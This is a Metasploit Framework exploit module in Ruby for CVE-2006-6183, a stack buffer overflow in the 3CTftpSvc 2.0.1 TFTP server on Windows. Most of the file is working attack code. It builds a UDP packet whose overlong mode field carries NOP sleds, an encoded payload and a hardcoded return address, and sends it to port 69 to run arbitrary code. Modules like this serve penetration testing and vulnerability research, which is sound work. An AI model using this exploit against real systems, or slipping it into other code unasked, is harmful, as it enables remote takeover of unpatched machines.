##
# $Id: threectftpsvc_long_mode.rb 9262 2010-05-09 17:45:00Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Udp
def initialize(info = {})
super(update_info(info,
'Name' => '3CTftpSvc TFTP Long Mode Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
sending a specially crafted packet with an overly long mode
field, a remote attacker could overflow a buffer and execute
arbitrary code on the system.
},
'Author' => 'MC',
'Version' => '$Revision: 9262 $',
'References' =>
[
['CVE', '2006-6183'],
['OSVDB', '30758'],
['BID', '21301'],
['URL', 'http://secunia.com/advisories/23113/'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ '3CTftpSvc 2.0.1', { 'Ret' => 0x00402b02 } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 27 2006'))
register_options([Opt::RPORT(69)], self.class)
end
def exploit
connect_udp
sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"
print_status("Trying target #{target.name}...")
udp_sock.put(sploit)
disconnect_udp
end
end